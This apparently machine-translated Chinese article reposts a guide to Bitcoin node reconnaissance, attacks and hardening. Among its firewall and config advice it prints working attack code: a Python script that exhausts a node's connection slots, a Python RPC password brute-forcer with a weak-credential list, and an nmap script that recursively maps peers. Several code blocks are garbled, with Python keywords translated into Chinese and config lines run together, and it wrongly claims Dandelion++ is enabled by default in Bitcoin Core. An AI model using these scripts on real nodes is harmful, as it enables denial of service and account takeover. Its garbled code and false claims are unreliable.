比特币不仅仅是一种加密货币(深入指南)

admin 2026-05-02 05:36:08 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档深入解析比特币网络的技术细节,重点介绍节点类型(完整/修剪/SPV/挖矿节点)、四种网络(主网/测试网/Signet/Regtest)及其对应端口(8333/18333/38333/18444)。详细说明比特币P2P协议的二进制消息结构、握手流程及常见消息类型,并提供实用侦察方法包括Nmap端口扫描脚本、Python协议交互代码示例和Shodan查询技巧,帮助安全人员直接与比特币网络进行底层交互。 综合评分: 78 文章分类: 区块链安全,网络侦察,技术标准,安全工具,解决方案


区块链分析

查询节点区块链信息:

# 如果 RPC 可访问(通常端口为 8332)
#注意:需要身份验证

# 获取区块链信息
bitcoin-cli&nbsp;-rpcconnect=<目标 IP>&nbsp;getblockchaininfo

# 获取节点信息
bitcoin- cli&nbsp;-rpcconnect=<目标IP>&nbsp;getpeerinfo #

获取网络信息
bitcoin-cli&nbsp;-rpcconnect=<目标 IP>&nbsp;getnetworkinfo

# 获取区块计数
bitcoin-cli&nbsp;-rpcconnect=<目标 IP>&nbsp;getblockcount

没有 RPC 访问权限:

信息仅限于P2P协议所揭示的内容:

  • 最后一个区块高度(来自版本消息)
  • 协议版本
  • 广告宣传的服务
  • 对等地址

攻击向量

1. 信息披露

版本披露:

# 版本信息显示:
# - 协议版本
# - 软件版本(通过用户代理)
# - 支持的服务
# - 当前区块高度
# - 对等节点数量

# 风险:有助于识别易受攻击的版本

同行地址披露:

# Getaddr 命令揭示:
# - 已知对等 IP 地址
# - 网络拓扑结构
# - IPv6 地址
# - 时间戳

# 风险:网络映射、定向攻击

楼体高度披露:

# 显示内容:
# - 同步状态
# - 节点正常运行时间预估
# - 网络参与级别

# 风险:识别过时的节点

2.拒绝服务攻击(DoS)

连接耗尽:

#!/usr/bin/env python3
"""
通过连接耗尽进行拒绝服务攻击
打开多个连接以耗尽节点的对等节点槽位
"""
import&nbsp;socket
import&nbsp;threading

def&nbsp;connect_to_node&nbsp;(&nbsp;host, port&nbsp;):
try&nbsp;:
&nbsp; &nbsp; &nbsp; &nbsp; sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; &nbsp; &nbsp; sock.connect((host, port))
# 保持连接打开
while&nbsp;True&nbsp;:
pass
except&nbsp;:
pass

# 打开多个连接
target_host =&nbsp;"target-ip"
&nbsp;target_port =&nbsp;8333
&nbsp;max_connections =&nbsp;125&nbsp;# Bitcoin Core 默认最大值为 125

for&nbsp;i&nbsp;in&nbsp;range&nbsp;(max_connections):
&nbsp; &nbsp; thread = threading.Thread(target=connect_to_node,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; args=(target_host, target_port))
&nbsp; &nbsp; thread.daemon =&nbsp;True
&nbsp; &nbsp; &nbsp;thread.start()

# 合法对等节点无法连接

资源耗尽 – 内存:

#!/usr/bin/env python3
"""
发送大量消息以耗尽节点内存
"""
# 发送大量 'inv'(库存)消息
# 每个 inv 可以包含多个交易哈希
# 节点将待处理的库存存储在内存中

# 注意:现代比特币核心具有保护机制

资源耗尽 – 磁盘:

#!/usr/bin/env python3
"""
向节点发送大量交易以填充内存池
"""
# 发送大量未确认的交易
# 填充内存池(待处理交易的内存池)
# 可能导致性能下降

# 注意:交易费用和内存池限制提供保护

协议级拒绝服务攻击:

#!/usr/bin/env python3
"""
发送格式错误的消息以触发崩溃
"""
# 模糊测试方法
# 发送无效协议消息
# 查找崩溃或挂起

# 历史示例:CVE-2012-2459(块验证拒绝服务攻击)

3. 日蚀攻击

概念:将节点从诚实网络中隔离出来

攻击步骤:

1.攻击者控制多个 IP 地址;
2.将攻击者节点填充到受害者的对等节点列表中;
3.受害者只能连接到攻击者节点;
4.攻击者控制受害者对区块链的访问。

实施难度:

  • 需要多个 IP 地址
  • Bitcoin Core 具备 Eclipse 攻击缓解措施
  • 需要长期持续的努力

Bitcoin Core 中的缓解措施:

  • 多元化的同伴选择
  • 锚固连接
  • 地址管理多样性
  • 触觉连接

4. 交易/区块中继操纵

自私的采矿:

  • 保留已开采的区块
  • 策略性发布
  • 获得不公平的采矿优势

交易审查:

  • 如果控制对等连接
  • 可以筛选特定交易
  • 防止受害者看到他们

双倍消费接力赛:

  • 发送冲突交易
  • 一人成为受害者,一人成为网络受害者
  • 利用零确认接受

5. 隐私攻击

地址聚类:

#!/usr/bin/env python3
"""
将交易与 IP 地址关联
通过监控哪个节点首次转发交易,
有时可以推断出发送者的 IP 地址
"""
# 连接到多个节点
# 记录每笔交易的首次转发
# 与交易模式关联

交易来源追踪:

# 监控网络以识别交易来源
# 第一个广播该交易的节点很可能是创建者
# 可以将 IP 地址与比特币地址关联起来

# 缓解措施:使用 Tor 进行比特币连接

网络拓扑映射:

# 构建完整的网络拓扑图
# 识别关键节点
# 规划定向攻击

# 递归使用 getaddr 函数
# 构建连接图

已知漏洞和 CVE

历史漏洞

CVE-2012-2459 – 块验证拒绝服务攻击

  • 受影响版本:比特币核心版本 < 0.6.1
  • 影响:通过精心构造的方块进行远程拒绝服务攻击
  • 已修复:代码块验证改进

CVE-2013-2292 – 远程崩溃

  • 受影响版本:比特币核心版本 < 0.8.1
  • 影响:格式错误的消息导致节点崩溃
  • 已修复:输入验证

CVE-2013-2293 – 资源耗尽

  • 受影响版本:比特币核心版本 < 0.8.1
  • 影响:孤立事务导致内存耗尽
  • 已修复:孤立交易限额

CVE-2015-3641 – 通过内存耗尽实现拒绝服务攻击

  • 受影响版本:比特币核心版本 < 0.10.1
  • 影响:远程拒绝服务攻击
  • 已修复:内存管理改进

CVE-2017-18350 – 缓冲区溢出

  • 受影响版本:比特币核心版本 < 0.15.1
  • 影响:远程代码执行潜力
  • 已修复:缓冲区处理修复

CVE-2018-17144 – 通货膨胀漏洞

  • 受影响版本:比特币核心 0.14.x – 0.16.2
  • 影响:可能凭空创造出比特币
  • 严重程度:极严重(从未在主网上被利用)
  • 已修复:版本 0.16.3

CVE-2021-31876 – 通过格式错误的消息发起拒绝服务攻击

  • 受影响:多种实现方式
  • 影响:节点崩溃
  • 已修复:消息验证

现代攻击面

当前关注点(2024):

  1. 日食攻击——仍属理论上的威胁
  2. 隐私问题– IP 地址关联
  3. 资源枯竭——始终令人担忧
  4. 零日漏洞——未知漏洞
  5. 实现错误– 非核心客户端

最佳实践:

  • 保持 Bitcoin Core 更新
  • 使用最新稳定版本
  • 关注安全公告
  • 考虑使用 Tor 来保护隐私

比特币 RPC 安全(端口 8332)

RPC接口概述

注意: RPC 不受 P2P 端口的保护,但至关重要。

默认配置:

端口:8332&nbsp;(主网)
端口:18332&nbsp;(测试网)
端口:38332&nbsp;(Signet)
端口:18443&nbsp;(Regtest)
协议:基于HTTP 的JSON-RPC认证:用户名/密码或cookie文件

RPC枚举

检查 RPC 是否可访问:

# 尝试连接到 RPC 端口
curl http://<目标 IP>:8332

# 如果可访问,则响应如下:
# HTTP 401 未授权(需要身份验证)
# 如果未公开,则连接被拒绝

# 使用凭据尝试
curl --user username:password \
&nbsp; --data-binary '{&nbsp;"jsonrpc"&nbsp;:&nbsp;"1.0"&nbsp;,&nbsp;"id"&nbsp;:&nbsp;"test"&nbsp;,&nbsp;"method"&nbsp;:&nbsp;"getblockchaininfo"&nbsp;,&nbsp;"params"&nbsp;:[]}' \
&nbsp; -H 'content-type: text/plain;' \
&nbsp; http://<目标 IP>:8332

默认凭证(非常罕见):

# Bitcoin Core 没有默认凭据
# 但请检查常见的弱密码:

bitcoin:bitcoin
admin:admin
rpcuser:rpcpassword

暴力破解 RPC:

#!/usr/bin/env python3
import&nbsp;requests
import&nbsp;sys

def&nbsp;brute_force_rpc&nbsp;(&nbsp;host, port, username, password_file&nbsp;):
&nbsp; &nbsp; url =&nbsp;f"http://&nbsp;{host}&nbsp;:&nbsp;{port}&nbsp;"
&nbsp; &nbsp; &nbsp;data =&nbsp;'{"jsonrpc":"1.0","id":"test","method":"getblockchaininfo","params":[]}'
&nbsp; &nbsp; &nbsp;headers = {&nbsp;'content-type'&nbsp;:&nbsp;'text/plain'&nbsp;}

with&nbsp;open&nbsp;(password_file,&nbsp;'r'&nbsp;)&nbsp;as&nbsp;f:
for&nbsp;password&nbsp;in&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; password = password.strip()

try&nbsp;:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r = requests.post(url,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; auth=(username, password),
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; data=data,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; headers=headers,
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; timeout=&nbsp;5&nbsp;)

if&nbsp;r.status_code ==&nbsp;200&nbsp;:
print&nbsp;(&nbsp;f"[+] SUCCESS:&nbsp;{username}&nbsp;:&nbsp;{password}&nbsp;"&nbsp;)
return&nbsp;password
else&nbsp;:
print&nbsp;(&nbsp;f"[-] Failed:&nbsp;{username}&nbsp;:&nbsp;{password}&nbsp;"&nbsp;)
except&nbsp;Exception&nbsp;as&nbsp;e:
print&nbsp;(&nbsp;f"[!] 错误:&nbsp;{e}&nbsp;"&nbsp;)

return&nbsp;None

# 用法:
# brute_force_rpc('target-ip', 8332, 'bitcoin', 'passwords.txt')

防御与强化

节点配置安全

bitcoin.conf 安全设置:

# 网络绑定# 仅绑定到本地主机(
如果不需要远程访问)bind&nbsp;=
127.0.0.1&nbsp;#仅将受信任的节点列入白名单(可选)whitelist&nbsp;=&nbsp;192.168.1.0/24&nbsp;#限制连接数maxconnections&nbsp;=&nbsp;40 # 禁用钱包(如果不需要)&nbsp;disablewallet&nbsp;=&nbsp;1&nbsp;#启用 Tor 以保护隐私proxy&nbsp;=&nbsp;127.0.0.1:9050&nbsp;listen&nbsp;=&nbsp;1&nbsp;externalip&nbsp;= your_onion_address.on&nbsp;ion&nbsp;# RPC 安全rpcallowip&nbsp;=&nbsp;127.0.0.1&nbsp;rpcauth&nbsp;= user:salt&nbsp;$hash&nbsp;# 使用以下命令生成:python3 share/rpcauth/rpcauth.py username&nbsp;#如果不需要,禁用ZMQ&nbsp;# zmqpubrawblock=tcp:&nbsp;//127.0.0.1&nbsp;:28332&nbsp;# zmqpubrawtx=tcp://127.0.0.1:28333

生成安全 RPC 凭证:

# 使用 Bitcoin Core 的 rpcauth.py
cd&nbsp;/path/to/bitcoin/share/rpcauth/
python3 rpcauth.py myusername

# 输出:
# 要添加到 bitcoin.conf 的字符串:
# rpcauth=myusername:hash$salt
# 您的密码:
# random_generated_password

# 添加到 bitcoin.conf
echo&nbsp;"rpcauth=myusername:hash&nbsp;$salt&nbsp;"&nbsp;>> ~/.bitcoin/bitcoin.conf

网络级保护

防火墙规则:

# UFW -默认阻止所有
比特币端口sudo ufw deny&nbsp;8332&nbsp;/tcp # RPC
sudo ufw deny&nbsp;8333&nbsp;/tcp # P2P 主网sudo
&nbsp;ufw deny&nbsp;18333&nbsp;/tcp # P2P 测试网
sudo ufw deny&nbsp;18332&nbsp;/&nbsp;tcp&nbsp;# RPC 测试网

# 仅允许来自受信任 IP 的流量sudo
&nbsp;ufw allow&nbsp;from&nbsp;192.168.1.0/24&nbsp;to&nbsp;any port&nbsp;8333&nbsp;# iptables&nbsp;sudo iptables&nbsp;-A&nbsp;INPUT&nbsp;-p&nbsp;tcp&nbsp;--dport&nbsp;8333&nbsp;-s&nbsp;192.168&nbsp;.&nbsp;1.0&nbsp;/&nbsp;24&nbsp;-j ACCEPT&nbsp;sudo iptables -&nbsp;A&nbsp;INPUT&nbsp;-&nbsp;p&nbsp;tcp&nbsp;--dport&nbsp;8333&nbsp;-j DROP&nbsp;sudo iptables -&nbsp;A&nbsp;INPUT&nbsp;-&nbsp;p&nbsp;tcp&nbsp;--dport&nbsp;8332&nbsp;-j DROP&nbsp;# 保存规则sudo iptables-save > /etc/iptables/rules&nbsp;.v4

速率限制:

# 限制连接速率
sudo iptables -A INPUT -p tcp --dport 8333 -m state --state NEW -m recent --setA&nbsp;INPUT&nbsp;-&nbsp;p&nbsp;tcp&nbsp;--dport&nbsp;8333&nbsp;-m state&nbsp;--state&nbsp;NEW -m recent&nbsp;--set
&nbsp;sudo iptables -&nbsp;A&nbsp;INPUT&nbsp;-&nbsp;p&nbsp;tcp&nbsp;--dport&nbsp;8333&nbsp;-m state&nbsp;--state&nbsp;NEW -m recent&nbsp;--update&nbsp;--seconds&nbsp;60&nbsp;--hitcount&nbsp;10&nbsp;-j DROP

隐私与匿名

使用 Tor:

#&nbsp;bitcoin.conf
proxy&nbsp;=&nbsp;127.0.0.1&nbsp;:&nbsp;9050&nbsp;listen&nbsp;=&nbsp;1&nbsp;bind&nbsp;=&nbsp;127.0.0.1&nbsp;onlynet&nbsp;=&nbsp;on&nbsp;ion #仅通过 Tor 连接#所有对等连接均已匿名化

使用 VPN:

# 在 VPN 后运行比特币节点
# 首先配置 VPN 连接
# 然后启动 Bitcoin Core

# 验证外部 IP 地址
curl ifconfig.me

# 应该显示 VPN IP 地址,而不是你的真实 IP 地址

Dandelion++协议:

# 有助于隐藏交易来源
# 已在 Bitcoin Core 23.0+ 中实现
# 默认启用

监测与检测

监控连接:

# 检查当前对等连接
bitcoin-cli getpeerinfo | jq .

# 监控连接尝试
sudo tcpdump -i eth0 port 8333 -nn

# 检查异常对等行为
watch -n 5&nbsp;'bitcoin-cli getpeerinfo | jq ".[].addr"'

日志分析:

# 监控 Bitcoin Core 调试日志
tail -f ~&nbsp;/.bitcoin/debug.log

# 查找:
# - 连接失败
# - 对等节点异常行为
# - 无效区块/交易#
- 资源警告

# 搜索可疑活动
grep&nbsp;-i&nbsp;"misbehaving"&nbsp;~&nbsp;/.bitcoin/debug.log&nbsp;grep
-i&nbsp;"banned&nbsp;"&nbsp;~&nbsp;/.bitcoin/debug.log
grep&nbsp;-i&nbsp;"&nbsp;invalid&nbsp;"&nbsp;~&nbsp;/.bitcoin/debug.log

入侵检测:

# 比特币端口扫描警报的 Snort 规则
alert tcp&nbsp;any&nbsp;any&nbsp;->&nbsp;any&nbsp;8333&nbsp;(&nbsp;flags&nbsp;:&nbsp;S; msg&nbsp;:&nbsp;"比特币端口扫描"&nbsp;; sid&nbsp;:&nbsp;1000001&nbsp;;&nbsp;)

# 异常连接量警报 alert
&nbsp;tcp&nbsp;any&nbsp;any&nbsp;->&nbsp;any&nbsp;8333&nbsp;(&nbsp;threshold&nbsp;:&nbsp;type both&nbsp;,&nbsp;track by_src&nbsp;,&nbsp;count&nbsp;20&nbsp;,&nbsp;seconds&nbsp;60&nbsp;; msg&nbsp;:&nbsp;"比特币连接泛滥"&nbsp;; sid&nbsp;:&nbsp;1000002&nbsp;;&nbsp;)

常规安全措施

# 保持 Bitcoin Core 更新
bitcoin-cli --version

# 检查更新
# 从 bitcoin.org 下载

# 验证 GPG 签名
wget https://bitcoincore.org/bin/bitcoin-core-25.0/bitcoin-25.0-x86_64-linux-gnu.tar.gz
wget https://bitcoincore.org/bin/bitcoin-core-25.0/SHA256SUMS
wget https://bitcoincore.org/bin/bitcoin-core-25.0/SHA256SUMS.asc

# 验证
gpg --verify SHA256SUMS.asc
sha256sum&nbsp;--check SHA256SUMS --ignore-missing

# 备份钱包(如果使用)
&nbsp;bitcoin-cli backupwallet /secure/backup/location/wallet.dat

# 加密钱包
bitcoin-cli encryptwallet&nbsp;"strong_passphrase"

# 定期进行安全审计
bitcoin-cli getnetworkinfo
bitcoin-cli getpeerinfo
bitcoin-cli getnettotals

工具和脚本

必备工具

  1. Bitcoin Core – 官方全节点实现
  2. nmap – 使用比特币脚本进行端口扫描
  3. bitcoin-cli – 命令行界面
  4. Wireshark – 协议分析
  5. btcd – Go 的替代实现

自定义枚举脚本

#!/usr/bin/env python3
"""
比特币节点枚举工具
"""
import&nbsp;socket
import&nbsp;struct
import&nbsp;hashlib
import&nbsp;time

class&nbsp;BitcoinNode&nbsp;:
def&nbsp;__init__&nbsp;(&nbsp;self, host, port=&nbsp;8333&nbsp;, network=&nbsp;'mainnet'&nbsp;):
&nbsp; &nbsp; &nbsp; &nbsp; self.host = host
&nbsp; &nbsp; &nbsp; &nbsp; self.port = port
&nbsp; &nbsp; &nbsp; &nbsp; self.network = network
&nbsp; &nbsp; &nbsp; &nbsp; self.sock =&nbsp;None

# 不同网络的魔术字节
&nbsp; &nbsp; &nbsp; &nbsp; self.magic_bytes = {
'mainnet'&nbsp;:&nbsp;0xD9B4BEF9&nbsp;,
'testnet'&nbsp;:&nbsp;0x0B110907&nbsp;,
'signet'&nbsp;:&nbsp;0x0A03CF40&nbsp;,
'regtest'&nbsp;:&nbsp;0xFABFB5DA
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;}

def&nbsp;create_message&nbsp;(&nbsp;self, command, payload&nbsp;):
""" 创建比特币协议消息 """
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;magic = self.magic_bytes[self.network]

# 命令必须为 12 字节
&nbsp; &nbsp; &nbsp; &nbsp; cmd = command.encode(&nbsp;'ascii'&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; cmd = cmd +&nbsp;b'\x00'&nbsp;* (&nbsp;12&nbsp;-&nbsp;len&nbsp;(cmd))

# 校验和
&nbsp; &nbsp; &nbsp; &nbsp; checksum = hashlib.sha256(hashlib.sha256(payload).digest()).digest()[:&nbsp;4&nbsp;]

# 构建消息
&nbsp; &nbsp; &nbsp; &nbsp; message = struct.pack(&nbsp;'<I'&nbsp;, magic)
&nbsp; &nbsp; &nbsp; &nbsp; message += cmd
&nbsp; &nbsp; &nbsp; &nbsp; message += struct.pack(&nbsp;'<I'&nbsp;,&nbsp;len&nbsp;(payload))
&nbsp; &nbsp; &nbsp; &nbsp; message += checksum
&nbsp; &nbsp; &nbsp; &nbsp; message += payload

return&nbsp;message

def&nbsp;create_version_message&nbsp;(&nbsp;self&nbsp;):
"""创建版本握手消息"""
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;version =&nbsp;70015
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;services =&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;timestamp =&nbsp;int&nbsp;(time.time())

&nbsp; &nbsp; &nbsp; &nbsp; payload = struct.pack( '&nbsp;<i'&nbsp;, version) payload
&nbsp; &nbsp; &nbsp; &nbsp; += struct.pack(&nbsp;'<Q'&nbsp;, services)
&nbsp; &nbsp; &nbsp; &nbsp; payload += struct.pack(&nbsp;'<q'&nbsp;, timestamp)

# 简化版 - 完整版本消息更复杂
# 需要添加接收/发送地址、nonce、用户代理、等等。

返回有效载荷

def&nbsp;connect&nbsp;(&nbsp;self&nbsp;):
"""连接到比特币节点"""
尝试:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.sock.settimeout(&nbsp;10&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.sock.connect((self.host, self.port))
print&nbsp;(&nbsp;f"[+] 已连接到{self.host}&nbsp;:&nbsp;{self.port}&nbsp;"&nbsp;)
return&nbsp;True
except&nbsp;Exception&nbsp;as&nbsp;e:
print&nbsp;(&nbsp;f"[-] 连接失败:&nbsp;{e}&nbsp;"&nbsp;)
return&nbsp;False

def&nbsp;send_version&nbsp;(&nbsp;self&nbsp;):
"""发送版本消息"""
try&nbsp;:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; version_payload = self.create_version_message()
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; version_msg = self.create_message(&nbsp;'version'&nbsp;, version_payload)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.sock.send(version_msg)
print&nbsp;(&nbsp;"[*] 已发送版本消息"&nbsp;)

# 接收响应
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; response = self.sock.recv(&nbsp;4096&nbsp;)
print&nbsp;(&nbsp;f"[+] 已接收{&nbsp;len&nbsp;(response)}字节"&nbsp;)

return&nbsp;True
except&nbsp;Exception&nbsp;as&nbsp;e:
print&nbsp;(&nbsp;f"[-] 错误:&nbsp;{e}&nbsp;"&nbsp;)
return&nbsp;False

def&nbsp;close&nbsp;(&nbsp;self&nbsp;):
"""关闭连接"""
if&nbsp;self.sock:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; self.sock.close()

# 用法
if&nbsp;__name__ ==&nbsp;"__main__"&nbsp;:
import&nbsp;sys

if&nbsp;len&nbsp;(sys.argv) <&nbsp;2&nbsp;:
print&nbsp;(&nbsp;f"用法:&nbsp;{sys.argv[&nbsp;0&nbsp;]}&nbsp;<host> [port] [network]"&nbsp;)
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(&nbsp;1&nbsp;)

&nbsp; &nbsp; host = sys.argv[&nbsp;1&nbsp;]
&nbsp; &nbsp; port =&nbsp;int&nbsp;(sys.argv[&nbsp;2&nbsp;])&nbsp;if&nbsp;len&nbsp;(sys.argv) >&nbsp;2&nbsp;else&nbsp;8333
&nbsp; &nbsp; &nbsp;network = sys.argv[&nbsp;3&nbsp;]&nbsp;if&nbsp;len&nbsp;(sys.argv) >&nbsp;3&nbsp;else&nbsp;'mainnet'

&nbsp; &nbsp; &nbsp;node = BitcoinNode(host, port, network)
if&nbsp;node.connect():
&nbsp; &nbsp; &nbsp; &nbsp; node.send_version()
&nbsp; &nbsp; &nbsp; &nbsp; node.close()

网络映射脚本

#!/bin/bash
# 比特币网络映射脚本

TARGET=&nbsp;$1
&nbsp;OUTPUT_DIR=&nbsp;"bitcoin_network_map"

if&nbsp;[ -z&nbsp;"&nbsp;$TARGET&nbsp;"&nbsp;];&nbsp;then
echo&nbsp;"用法:$0&nbsp;<种子节点IP>"
exit&nbsp;1
fi

mkdir&nbsp;-p&nbsp;$OUTPUT_DIR

echo&nbsp;"[*] 从种子节点开始网络映射:$TARGET&nbsp;"

# 第一级扫描
echo&nbsp;"[*] 正在扫描种子节点..."
&nbsp;sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr&nbsp;$TARGET&nbsp;-oN&nbsp;$OUTPUT_DIR&nbsp;/seed_scan.txt

# 提取对等节点IP
echo&nbsp;"[*] 正在提取对等节点地址..."
&nbsp;grep -oP&nbsp;'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d+'&nbsp;$OUTPUT_DIR&nbsp;/seed_scan.txt | \
cut&nbsp;-d: -f1 |&nbsp;sort&nbsp;-u >&nbsp;$OUTPUT_DIR&nbsp;/peers_level1.txt

PEER_COUNT=$(&nbsp;wc&nbsp;-l <&nbsp;$OUTPUT_DIR&nbsp;/peers_level1.txt)
echo&nbsp;"[+] 找到$PEER_COUNT个对等节点"

# 扫描已发现的对等节点
echo&nbsp;"[*] 正在扫描已发现的对等节点..."
&nbsp;counter=1
while&nbsp;read&nbsp;peer;&nbsp;do
echo&nbsp;" [&nbsp;$counter&nbsp;/&nbsp;$PEER_COUNT&nbsp;] 正在扫描$peer&nbsp;"
&nbsp; &nbsp; &nbsp;sudo nmap -p 8333 --script bitcoin-info&nbsp;$peer&nbsp;-oN&nbsp;$OUTPUT_DIR&nbsp;/peer_&nbsp;${peer}&nbsp;.txt 2>/dev/null
&nbsp; &nbsp; ((counter++))
done&nbsp;<&nbsp;$OUTPUT_DIR&nbsp;/peers_level1.txt

echo&nbsp;"[+] 网络映射完成!"
echo&nbsp;"[+] 结果已保存在$OUTPUT_DIR&nbsp;/"

速查表

快速参考

# 端口扫描
nmap -p 8333 -sV <目标>
nmap -p 8333,18333,38333,18444 -sV <目标>

# 比特币
信息 sudo nmap -p 8333 --script bitcoin-info <目标>

# 获取对等地址
sudo nmap -p 8333 --script bitcoin-getaddr <目标>

# 组合枚举
sudo nmap -p 8333 --script bitcoin-info,bitcoin-getaddr <目标>

# RPC 访问(如果已启用)
&nbsp;curl --user user:pass --data-binary '{&nbsp;"jsonrpc"&nbsp;:&nbsp;"1.0"&nbsp;,&nbsp;"id"&nbsp;:&nbsp;"test"&nbsp;,&nbsp;"method"&nbsp;:&nbsp;"getblockchaininfo"&nbsp;,&nbsp;"params"&nbsp;:[]}' -H 'content-type: text/plain;' http://<target>:8332

# 使用比特币命令行界面
bitcoin-cli -rpcconnect=<target> getblockchaininfo
bitcoin-cli -rpcconnect=<target> getpeerinfo
bitcoin-cli -rpcconnect=<target> getnetworkinfo

重要港口

8333&nbsp;-比特币主网P2P
18333&nbsp;-比特币测试网P2P
38333&nbsp;-比特币Signet&nbsp;P2P
18444&nbsp;-比特币Regtest&nbsp;P2P
8332&nbsp;-比特币主网RPC
18332&nbsp;-比特币测试网RPC

通用用户代理

/Satoshi:25.0/ - Bitcoin Core 25.0
/Satoshi:24.0/ - Bitcoin Core 24.0
/btcd:0.24.0/ - btcd
&nbsp;/Bitcoin Knots:25.0/ - Bitcoin Knots
/bcoin:2.2.0/ - bcoin

协议魔字节

主网:0xF9BEB4D9
测试网:0x0B110907
签名网:0x0A03CF40
注册测试网:0xFABFB5DA

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:KK安全说 破天KK 破天KK《比特币不仅仅是一种加密货币(深入指南)》

评论:0   参与:  0